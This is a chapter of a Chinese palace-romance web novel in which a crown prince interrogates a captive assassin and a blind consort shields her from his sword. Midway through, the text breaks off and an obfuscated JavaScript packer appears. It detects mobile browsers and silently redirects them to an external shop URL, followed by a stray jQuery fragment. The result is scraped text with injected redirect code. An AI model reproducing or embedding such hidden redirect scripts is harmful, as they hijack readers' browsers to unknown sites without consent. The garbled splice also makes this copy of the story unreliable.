东宫一处小桥流水的花园,海棠花瓣散落满地。

    祝云窈被两名暗卫牵制,半跪在一片空旷之地,锋利的长剑架在脖颈,双臂被反扣住,动弹不得。

    萧临川倚坐在海棠树下的一把太师椅上,手肘弯曲抵在扶手之上,慵懒地撑着微微歪在一侧的脑袋,眼神淡淡瞟向祝云窈,有种不怒自威的气场。

    凌晟立于萧临川左侧,低声提醒萧临川:

    “太子殿下,她便是之前那个去寻过侧妃娘娘的女子,桓王的人。”

    “是么?”萧临川略显懒散地回应,眼神却已锐利如刀锋般刺向面前的祝云窈,做好了细细盘问的打算。

    “你与沈侧妃是什么关系?那夜偷偷去寻沈侧妃所为何事?”萧临川淡淡问道。

    祝云窈却冷笑出声:

    “太子殿下,她既是你的侧妃,为何你不直接去问她呢?”

    萧临川凝眉,似乎并不满意这个回答,但还是耐下性子与之周旋:

    “那你直接告诉孤,沈侧妃与桓王是什么关系?”

    祝云窈闻言微微一怔,旋即哈哈大笑起来:

    “太子殿下,原以为你是个聪明人,未料你面对那小瞎子竟是丝毫也不聪明了,竟能问出这样的问题来。”

    问出的问题没得到任何实质的回答,萧临川蹙起了眉头,快要失去耐性。

    凌晟忍不住道:

    “放肆!休得对太子殿下不敬!”

    随后低声冲萧临川道:

    “太子殿下,倘若实在问不出来,需要将她丢进诏狱用刑逼供吗?”

    萧临川微微蹙眉,他少有用刑,用刑都是对穷凶极恶之人,但他又确实很想了解清楚有关沈枝意之事,眼下这祝云窈的确是个突破口。

    凌晟见萧临川未作回应,兀自冲祝云窈威胁道:

    “你若再不如实告知太子殿下,就休怪太子殿下对你用刑了。”

    沈枝意刚被抬至此处,就听见这么一句话,心下泛起寒意,慌忙大喊道:

    “太子殿下住手!不可用刑!”

    几人的视线纷纷投向坐于轿辇上的沈枝意。

    “沈侧妃?你怎么来了?”萧临川放下撑着脑袋的右手,略显意外。

    抬着轿辇的几人放下轿辇,沈枝意杵着盲杖在葡萄的搀扶下走到萧临川身前。

    沈枝意直接跪下:

    “太子殿下,祝姐姐不是坏人,可否允臣妾与祝姐姐交谈一二?”

    “所以,你当真与她关系匪浅?”萧临川心下一沉,他的侧妃与萧鹤言的人关系匪浅,这和打了他的脸没有任何区别。

    沈枝意一时也不知该作何解释,这件事说起来实在太过复杂。

    她和祝云窈的关系,眼下也极其微妙,祝云窈究竟是想置她于死地的敌人,还是于她有过救命之恩的朋友?

    她只有与祝云窈正面交谈,知晓祝云窈现下的心态是否因萧鹤言和柳映梨之事有所改变后,才能确认祝云窈究竟是敌是友。

    “太子殿下倘若对臣妾有任何疑虑,事后可一一细问,臣妾定如实相告,但眼下,求太子殿下允臣妾与祝姐姐交谈一二。”沈枝意叩首请求道。

    萧临川沉默地看向沈枝意跪在身前的身影,眼神阴鸷中透出几丝冷厉,最终强行让自己冷静下来,回道:

    “行,孤准允。”

    他倒是想看看,沈枝意究竟要和那祝云窈交谈个什么名堂。

    “臣妾谢太子殿下。”

    沈枝意杵着盲杖站起身,由葡萄搀扶着去到了半跪着的祝云窈面前。

    祝云窈微微仰起头看向沈枝意,轻笑一声:

    “我不是坏人?小瞎子,你怕是高看我了。”

    “祝姐姐于我有救命之恩,哪怕全天下都觉得你是坏人,在我这里,你也不是。”沈枝意嗓音温婉,却格外坚定。

    祝云窈闻言微怔,她莫名觉得,沈枝意柔婉的外表下实际藏着一颗坚韧的心。

    “祝姐姐,你此次前来东宫,可是为了寻我?”沈枝意试探地询问道。

    祝云窈却沉默了,她的确是为寻沈枝意而来,可此刻见到沈枝意,却是不知该作何言语。

    “你……都看见了?”

    沈枝意所指,祝云窈自然明白。

    “看见了。”祝云窈垂下眼睫,淡淡回道。

    “那你……来东宫所为何事?”沈枝意继续询问。

    “……”

    祝云窈低下头,似乎难以开口,最终咬着牙吐出一句:

    “我已无处可去……”

    随后她仰起那张倔强的脸,看向沈枝意。

    眸底交织着苦涩与不甘,在月光下泛起一丝潮湿:

    “我可信之人,只有你了。”

    沈枝意闻言,终于松了口气。

    还好还好,计划成功了,成功劝回了这名忠心女配,祝云窈日后再也不会对她怀有杀意了。

    眼下她们,应是朋友。

    既是朋友,沈枝意自然是要想办法保下祝云窈,为其求情。

    沈枝意转过身,面对着萧临川再度跪下身:

    “臣妾求太子殿下,放过祝云窈。”

    萧临川已然怒火攻心。

    既已确定沈枝意与萧鹤言的人关系匪浅,都已到了要替其求情的地步,那她与萧鹤言之间,也定然有着千丝万缕的联系了。

    事到如今,她终究是欺骗了他。

    而他这几日还一度生出想要相信沈枝意的心。

    他被沈枝意的一言一行牵动着心绪,可眼下沈枝意竟是直接给了他当头棒喝。

    他仿佛能听见嘲讽的笑声从四面八方传来,笑他竟会相信他能得到沈枝意的真心。

    “所以,沈侧妃,你是承认了你与这女刺客是一伙的?你也是萧鹤言的人?”萧临川的神色阴冷,发出最后的质问。

    沈枝意愣了愣,意识到萧临川对她的误解,忙摇头否认:

    “不是的,太子殿下,臣妾不是桓王的人,祝姐姐现在也不是了,此时非彼时,臣妾眼下难以讲清其中缘由,日后定细细告知,请太子殿下相信臣妾。”

    “不是?”

    萧临川露出一抹冷笑,忽然站起身,抽出一旁凌晟随身携带的长剑。

    垂下的手握着长剑,萧临川嘴角噙着的笑冷峭凉薄:

    “相信?”

    说罢一步步走向沈枝意,将长剑递到她的手中。

    萧临川握住沈枝意握着剑柄的手,将剑尖抵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910400|213103||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上祝云窈的心口:

    “那你现在杀了她,孤就信你不是。”

    沈枝意握着冰凉剑柄的手指轻颤,脸色煞白。

    她没料到此时的萧临川竟会逼她杀人。

    因为她根本不知道,萧临川的心此时已被她搅得天翻地覆,几近黑化。

    “殿下,臣妾从未杀过人……”

    沈枝意嗓音颤动,似乎被萧临川的举动吓到了。

    “要孤信你,就动手。”

    萧临川松开沈枝意的手。

    沈枝意手中的长剑,随着萧临川的松手哐当一声掉落在地:

    “太子殿下,求您放过祝姐姐吧,事情真的不是您想的那样!”

    随即重重叩首。

    “你不敢?”萧临川拾起地上的长剑,“那孤替你杀吧。”

    说罢一剑朝着祝云窈的方向刺去。

    “不要!”沈枝意闻声几乎本能地扑向祝云窈的方向,张开双臂挡在祝云窈身前。

    萧临川神色一凛,剑尖在堪堪刺向沈枝意时猛地收回,剑锋向上划过,沈枝意脸侧的一缕青丝被削断,散落在空气中。

    时间仿佛在此刻放慢了,萧临川手握长剑,与沈枝意的视线在半空交汇。

    沈枝意的双目仍是微闭着,可萧临川仿佛能在那双闭着的眼眸中看见她眼底的倔强和坚韧。

    他为何,心底还是隐隐希冀着沈枝意的真心,哪怕已然知晓她与之对立的身份。

    为何他终究还是不愿她受到一丝伤害。

    若这一剑真的刺过去了,世间便再无沈枝意。

    再无那个手捧着蚌壳温婉地冲他笑着的人。

    萧临川脱力般将手中长剑扔向地面,地上的几片海棠花瓣随之溅起,又重重落下。

    萧临川背过身,道了句:

    “孤可以饶她性命,但她只能先囚于东宫偏院,待孤彻查清楚此事,再行决断。”

    “沈侧妃,禁足瑶光殿,非召不得出。”

    萧临川说罢,踩着满地的海棠花瓣缓步离开,白金锦袍包裹的颀长背影被月光照映得苍凉黯然。

    他终是不舍沈枝意,他输给了沈枝意,亦输给了自己的心。

    “臣妾谢太子殿下宽恕……”沈枝意在萧临川身后重重叩首。

    萧临川的脚步停顿了一瞬,微微摇头,嘴角扯开一抹自嘲的微笑,走远了。

    祝云窈直直注视着沈枝意挡在自己面前的身影,神情复杂,心中百感交集。

    那一刻,她本以为自己必死无疑。

    可这柔弱的身影竟毫不犹豫地挡在了自己身前,而前不久她还差点将其置于死地。

    她从未见过如沈枝意这般的人。

    “小瞎子,你傻啊,万一你真的被一剑刺死了怎么办?为了我这样的人,值得吗?”祝云窈嗓音低哑,神色黯然。

    沈枝意其实也吓到了,她当时来不及去想太多,本能地护在了祝云窈身前。

    “没事的,若是真被刺死了,就当把命还给祝姐姐了。”

    沈枝意尽力放松心态,半开玩笑般冲祝云窈道。

    祝云窈欲言又止,垂下的睫羽掩不住眼底的动容,最终缓缓启唇:

    “谢谢你,小瞎子。”